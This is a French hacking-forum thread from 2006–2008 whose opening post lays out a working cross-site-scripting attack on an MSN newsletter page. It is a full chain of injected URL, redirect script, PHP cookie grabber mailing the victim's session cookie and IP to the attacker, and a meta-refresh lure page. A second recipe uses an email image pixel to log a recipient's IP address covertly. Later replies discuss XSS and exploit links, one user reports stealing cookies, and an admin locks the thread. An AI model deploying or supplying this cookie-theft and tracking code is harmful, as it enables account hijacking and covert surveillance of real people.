| Voir le sujet précédent :: Voir le sujet suivant |
| Auteur |
Message |
Invité
|
Posté le: Dim Aoû 27, 2006 3:24 am |
Sujet du message: Hotmail/MSN Multiples Vulnerability
|
 |
Bonjour! 
1- Hotmail/MSN Cross Site Scripting Vulnerability
2- Hotmail/MSN IP.
1-
Exploit:
| Citation: | | http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE=')></script><script src=http://votre-site/redir.js> |
--redir.js
| Citation: | | location.href='http://votre-site/cookie-grabber.php?cookie='+escape(document.cookie) |
---cookie-grabber.php
| Citation: | <?
$cookie = $_GET['cookie'];
$ip = getenv("REMOTE_ADDR");
$msg = "Cookie: $cookie\nIP Address: $ip";
$subject = "cookie";
mail("votremail@email.org", $subject, $msg);
header ("location: http://gouss95.free.fr/sss.bmp");
?> |
----exploit.html
| Citation: | <html>
<meta http-equiv="refresh" content="0; url=http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE=')></script><script src=http://votre-site/redir.js>"></html>
|
http://votre-site/exploit.html >> http://votre-site/redir.js >> http://votre-site/cookie-grabber.php >> votremail@email.org
2- Hotmail/MSN IP.
Reçevoir automatiquement l'IP d'une personne lorsque celle-ci ouvre votre mail,
vous devez simplement envoyez la ligne html ci-dessous et placée le fichier ip.php dans votre site web
--ip.php
| Citation: | <?php
$ip = getenv("REMOTE_ADDR");
$msg = "By Olgiie\nIP Address: $ip";
$subject = "IP";
mail("votremail@hotmail.fr", $subject, $msg);
header ("location: http://gouss95.free.fr/sss.bmp");
?> |
----Hotmail a envoyée a la personne
| Citation: | <html>
<img src="http://votresite/ip.php"></img>
</html> |
By Olgiie |
|
| Revenir en haut |
|
 |
bozerty
Inscrit le: 05 Fév 2006
Messages: 172
|
|
Posté le: Dim Aoû 27, 2006 9:06 am |
Sujet du message:
|
|
Genialll ! on vas pouvoir piraté MSN !!! Youpi !!!
bon alors déjà je ne pense pas que tu sois dans la bonne section, parce que la XSS on peux pas dire que ça soit une méthode de hacking compliqué, il en est de même pour ton bout de code permetant de récupéré une IP, en plus je t'assure que c'est franchment pas nouveau 
en fait je suis pas sure que ça soit le forum adéquat pour poster ce genre de trucs ... |
|
| Revenir en haut |
|
|
Blwood
Inscrit le: 10 Fév 2006
Messages: 165
|
|
Posté le: Dim Aoû 27, 2006 11:43 am |
Sujet du message:
|
|
Il est vrai que ce n'est pas nouveau cet advisory =)
De passage :
| Citation: | | la XSS on peux pas dire que ça soit une méthode de hacking compliqué |
Oooo l'insulte !! =) Les xss ou plutot l'injection javascript est une menace de plus en plus grandissante dans le web actuel =) ! Alors on respecte les xss on les renie pas 
_________________
<linux/kernel.h> |
|
| Revenir en haut |
|
|
HolyGhost
Inscrit le: 13 Sep 2005
Messages: 452
|
|
Posté le: Dim Aoû 27, 2006 12:08 pm |
Sujet du message:
|
|
Le XSS n'est pas une faille prise au sérieux et c'est bien dommage.
C'est sûr que c'est pas non plus du HardCoding 1337 mais associé à l'ignorance des usagés, c'est bien souvent payant 
Il y a aussi du XSS bien plus poussé qui mérite considération.
Il ne faut pas croire que ça s'arrête à <script>alert("xss")</script>
J'ai été surpris de considérer des centaines de variations selon navigateur, langage et commande 
Essayez donc ce petit challenge sympathique
http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php
De plus, le XSS (bien qu'il se consacre essentiellement côté client) est le premier indice de failles multiples sur un script quelconque.
Voici quelques exemples qui réunissent XSS, SQL injection, disclosure et faille "Include" (la totale).
http://www.milw0rm.com/exploits/1547
et aussi un deuxième afin de confirmer l'évidence :
http://hamid.ir/security/alipager.txt
et une dernière qui (sur)confirme ++
http://www.milw0rm.com/exploits/1841
En d'autres termes, quand un script est mauvais, il est mauvais ++ |
|
| Revenir en haut |
|
|
Blwood
Inscrit le: 10 Fév 2006
Messages: 165
|
|
Posté le: Dim Aoû 27, 2006 3:06 pm |
Sujet du message:
|
|
L'injection de Javascript peut mener très loin =) Patience pour le mag 5.
_________________
<linux/kernel.h> |
|
| Revenir en haut |
|
|
system-erased
Inscrit le: 08 Juil 2006
Messages: 7
|
|
Posté le: Lun Aoû 28, 2006 1:53 pm |
Sujet du message:
|
|
commen decrypter les cookies !
ca a marché mais je sais pas les lire |
|
| Revenir en haut |
|
|
Celelibi
Inscrit le: 29 Mar 2006
Messages: 770
|
|
Posté le: Lun Aoû 28, 2006 2:47 pm |
Sujet du message:
|
|
| system-erased a écrit: | commen decrypter les cookies !
ca a marché mais je sais pas les lire |
Oué moi aussi je veux voler le compte d'un ami pour tester.
_________________
Il y a un boulet qui sommeille en chacun de nous. (enfin, surtout vous...) |
|
| Revenir en haut |
|
|
system-erased
Inscrit le: 08 Juil 2006
Messages: 7
|
|
Posté le: Mar Aoû 29, 2006 2:55 pm |
Sujet du message:
|
|
| J'ai essayé en modifiant mescookies, avec oracle, hkit, proxomytron et burps suit rien à faire.... |
|
| Revenir en haut |
|
|
Kapt
Inscrit le: 05 Juil 2006
Messages: 21
|
|
Posté le: Ven Sep 08, 2006 11:30 pm |
Sujet du message:
|
|
| bozerty a écrit: | | bon alors déjà je ne pense pas que tu sois dans la bonne section, parce que la XSS on peux pas dire que ça soit une méthode de hacking compliqué |
Bonjour,
Je me permet d'intervenir. Depuis quand le hacking doit être compliqué pour en être. Je ne comprends pas... Personnelement, pour moi, le hacking c'est le fait de passer outre les barrières de sécurité informatique par tous les moyens (compliqué, ou non).
Alors quand je vois écris cela, je me demande si tu te représente le hacking comme du hacking obligatoirement complexe...
Bref je n'ai pas compris ton raisonement bozerty.
+++ |
|
| Revenir en haut |
|
|
ahmed534
Inscrit le: 28 Jan 2008
Messages: 1
|
|
Posté le: Lun Jan 28, 2008 3:39 pm |
Sujet du message:
|
|
| system-erased a écrit: | commen decrypter les cookies !
ca a marché mais je sais pas les lire |
Utiliser "HEADERs KIT": il contient un utilitaire de decriptage de cookies, mais franchement moi jl'ai cherché partout et je l'ai pas trouvé  (jlé vu sur un tuto en video) |
|
| Revenir en haut |
|
|
HacKSpideR
Inscrit le: 19 Juin 2007
Messages: 37
|
|
Posté le: Lun Jan 28, 2008 5:13 pm |
Sujet du message:
|
|
| Le post date de deux ans ... |
|
| Revenir en haut |
|
|
m3ph
Admin forum/chat
Inscrit le: 11 Sep 2005
Messages: 485
Localisation: Région parisienne
|
|
Posté le: Mar Jan 29, 2008 8:34 am |
Sujet du message:
|
|
il a du faire une recherche sur "msn" lol
je lock.
_________________
Hacktivissement vôtre.
m3ph |
|
| Revenir en haut |
|
|
|
